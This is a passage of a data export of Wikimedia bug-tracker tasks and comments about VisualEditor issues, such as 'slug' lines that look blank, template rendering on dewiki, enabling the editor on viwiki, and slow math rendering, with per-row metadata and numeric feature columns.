FF22.0)",,,1374396945,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,13.0,1.0,10.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,9.0,8.0,0.0,4.0,0.0,2.0,0.0,1.0,6.0,0.0,2.0,0.0,0.0,0.0,3.561797752808989,0.651685393258427,"**JohnCD67** wrote:

This causes trouble in the fairly common operation of removing a template (e.g. a PROD) from the top of a page which has an infobox. Click the template to select it, press ""Delete"" and it goes, leaving apparently a spare blank line at the top. The natural reaction is press ""Delete"" again to remove the blank line, and that takes out the info box. (Win7, FF22.0)"
209514,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","**joedecker** wrote:

I suspect this is behind a few of the reports (on the ENWIKI feedback page, some of them mine) in which unexpected deletions are caused.  

As a separate question, can you undo deletion of slugs?  If not, I think that would explain another set of problems others and I have observed.",,,1374361883,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,2,,3.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,7.0,4.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,9.0,1.0,1.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,13.0,3.0,1.0,0.0,0.0,7.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,3.681159420289855,0.8115942028985508,"**joedecker** wrote:

I suspect this is behind a few of the reports (on the ENWIKI feedback page, some of them mine) in which unexpected deletions are caused.  

As a separate question, can you undo deletion of slugs?  If not, I think that would explain another set of problems others and I have observed."
209506,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",Gotcha. A user was confused as to why they couldn't add a template to the top of an article without it appearing on the same line :).,,,1373913566,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,7.0,3.0,0.0,17.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,20.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,3.566666666666667,0.9,Gotcha. A user was confused as to why they couldn't add a template to the top of an article without it appearing on the same line :).
209498,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","(In reply to comment #4)
> Does this include the line of whitespace right at the start of articles?

Yes.",,,1373913377,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4615384615384617,1.0,"(In reply to comment #4)
QUOTE

Yes."
209489,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","(In reply to comment #5)
> It looks like this bug was fixed somehow. I cannot longer reproduce it on
> dewiki.

Yes, we removed the slugs between lists because we felt they were no longer needed given the new editing tools, but they remain more widely.",,,1373913366,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,10.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.658536585365854,0.8536585365853658,"(In reply to comment #5)
QUOTE
QUOTE

Yes, we removed the slugs between lists because we felt they were no longer needed given the new editing tools, but they remain more widely."
209484,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",It looks like this bug was fixed somehow. I cannot longer reproduce it on dewiki.,,,1373909882,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,11.0,6.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7222222222222223,0.9444444444444444,It looks like this bug was fixed somehow. I cannot longer reproduce it on dewiki.
209479,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",Does this include the line of whitespace right at the start of articles?,,,1373879923,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.8571428571428571,Does this include the line of whitespace right at the start of articles?
209475,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",*** Bug 50295 has been marked as a duplicate of this bug. ***,,,1373854867,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50295 has been marked as a duplicate of this bug. ***
209470,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",*** Bug 50797 has been marked as a duplicate of this bug. ***,,,1373046915,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50797 has been marked as a duplicate of this bug. ***
209465,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","This is deliberate - the line is a ""slug"", allowing the user to insert text between the UL and the DL without creating a bullet and then down-converting it into a paragraph. We've been thinking about putting a little icon in slugs and making them a different height/etc. so it's obvious that they're not really ""there"" and are just places items can go.

Re-purposing this bug to talk about that. :-)",,,1367169998,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,1.0,6.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,8.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,7.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,2.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,6.0,1.0,4.0,13.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,11.0,3.0,0.0,4.0,0.0,6.0,0.0,0.0,6.0,1.0,9.0,0.0,0.0,2.0,3.6666666666666665,0.7444444444444445,"This is deliberate - the line is a ""slug"", allowing the user to insert text between the UL and the DL without creating a bullet and then down-converting it into a paragraph. We've been thinking about putting a little icon in slugs and making them a different height/etc. so it's obvious that they're not really ""there"" and are just places items can go.

Re-purposing this bug to talk about that. :-)"
49788,VisualEditor: Coordinate template on dewiki not alienated,"Coordinate template on dewiki not alienated. Shown as active hyperlink to the toolserver.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://de.wikipedia.org/wiki/Breslauer_Platz_%28K%C3%B6ln%29",Medium,50.0,1367154120,1374527977.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-lfunc2bgbzuuwhfvjpdv,task_description,declined,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.926829268292683,0.5853658536585366,"Coordinate template on dewiki not alienated. Shown as active hyperlink to the toolserver.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
209360,VisualEditor: Coordinate template on dewiki not alienated,It looks like this is handled properly now. Reopen if you still experience this problem.,,,1374527977,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-lfunc2bgbzuuwhfvjpdv,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.352941176470588,0.8823529411764706,It looks like this is handled properly now. Reopen if you still experience this problem.
209355,VisualEditor: Coordinate template on dewiki not alienated,"Interesting! The content (which is not labelled as an alien) is floated out from within a div (which is ve-ce-alienInlineNode). Inez/Christian, ideas?",,,1367173682,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lfunc2bgbzuuwhfvjpdv,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,11.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.8333333333333334,"Interesting! The content (which is not labelled as an alien) is floated out from within a div (which is ve-ce-alienInlineNode). Inez/Christian, ideas?"
49784,Enable VisualEditor on viwiki,"Per community request; will throw in a change on Monday.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1367123340,1367270838.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-vdic7routqydx75tmmbb,task_description,resolved,True,c1,1,True,False,True,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.96875,0.71875,"Per community request; will throw in a change on Monday.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
209158,Enable VisualEditor on viwiki,This is now deployed. Marking as fixed.,,,1367270838,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vdic7routqydx75tmmbb,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.6666666666666665,0.8888888888888888,This is now deployed. Marking as fixed.
209154,Enable VisualEditor on viwiki,Change in gerrit 61382.,,,1367247999,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vdic7routqydx75tmmbb,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Change in gerrit 61382.
209149,Enable VisualEditor on viwiki,Request was via e-mail but http://vi.wikipedia.org/wiki/WP:TL#Tr.C3.ACnh_so.E1.BA.A1n_th.E1.BB.8B_gi.C3.A1c is an announcement on the wiki that this is coming for testing.,,,1367247981,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vdic7routqydx75tmmbb,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,29.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,10.0,5.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.6666666666666665,0.9523809523809523,Request was via e-mail but URL is an announcement on the wiki that this is coming for testing.
209144,Enable VisualEditor on viwiki,"Any link to the community request, for the records?",,,1367225301,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-vdic7routqydx75tmmbb,task_subcomment,,True,c1,1,True,,,-9,,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.9090909090909091,"Any link to the community request, for the records?"
49766,VisualEditor: Toolbar tooltip text throbs when un-floated,"If you scroll down from the top of the page with the edit notice open and then scroll back up, the text content of the notice 'throbs' a little. I think it has to do with the dynamic addition / removal of the 've-ui-toolbar-wrapper-floating' class on ve-ui-toolbar-wrapper.

--------------------------
**Version**: unspecified
**Severity**: trivial",Medium,50.0,1367030520,1416181878.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,False,PHID-TASK-dv6pxr32mobwf3arakop,task_description,declined,True,c1,1,True,False,False,-10,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,3.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,5.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.488372093023256,0.6046511627906976,"If you scroll down from the top of the page with the edit notice open and then scroll back up, the text content of the notice 'throbs' a little. I think it has to do with the dynamic addition / removal of the 've-ui-toolbar-wrapper-floating' class on ve-ui-toolbar-wrapper.

--------------------------
**Version**: unspecified
**Severity**: trivial"
207942,VisualEditor: Toolbar tooltip text throbs when un-floated,Hi Ori. Can you please respond to James' comment?,,,1397939050,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dv6pxr32mobwf3arakop,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,8.0,25.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,1.0,Hi Ori. Can you please respond to James' comment?
207940,VisualEditor: Toolbar tooltip text throbs when un-floated,"Ori, I can't reproduce this locally (on Chrome, Safari or Firefox) - what browser were you using?",,,1367126151,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dv6pxr32mobwf3arakop,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,4.0,17.0,4.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5217391304347827,0.9565217391304348,"Ori, I can't reproduce this locally (on Chrome, Safari or Firefox) - what browser were you using?"
49760,VisualEditor: A lot of time needed to load <math> blocks?,"I tested it on the [[Bayes' theorem]] which has <Math></Math> inside the article with chrome 28 and it couldn't load the page!.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1367021760,1367548087.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-pzrh6lxoqsxowrm5mt6k,task_description,declined,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,0.0,2.0,8.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,6.0,6.0,2.0,0.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.56,0.72,"I tested it on the [[Bayes' theorem]] which has <Math></Math> inside the article with chrome 28 and it couldn't load the page!.

--------------------------
**Version**: unspecified
**Severity**: normal"
207617,VisualEditor: A lot of time needed to load <math> blocks?,Resolving as WORKSFORME as I cannot reproduce and there's been no further information about how to get this effect. Feel free to re-open if you have additional data to help us find out what went wrong for you.,,,1367548087,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pzrh6lxoqsxowrm5mt6k,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,23.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,9.0,23.0,2.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,3.909090909090909,0.8863636363636364,Resolving as WORKSFORME as I cannot reproduce and there's been no further information about how to get this effect. Feel free to re-open if you have additional data to help us find out what went wrong for you.
207610,VisualEditor: A lot of time needed to load <math> blocks?,I'm afraid I can't reproduce this - is this using MathJax? When I load the page https://en.wikipedia.org/wiki/Bayes'_theorem?veaction=edit (in Chrome or Firefox) I always get the <math> blocks rendered as PNGs instantly. Can you give some more information? A screenshot of the failed (partial?) rendering would be particularly useful.,,,1367293923,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pzrh6lxoqsxowrm5mt6k,task_subcomment,,True,c1,1,True,,,-9,,2.0,0.0,0.0,0.0,2.0,8.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,7.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,20.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,5.0,5.0,5.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,3.0,3.80327868852459,0.819672131147541,I'm afraid I can't reproduce this - is this using MathJax? When I load the page URL (in Chrome or Firefox) I always get the <math> blocks rendered as PNGs instantly. Can you give some more information? A screenshot of the failed (partial?) rendering would be particularly useful.
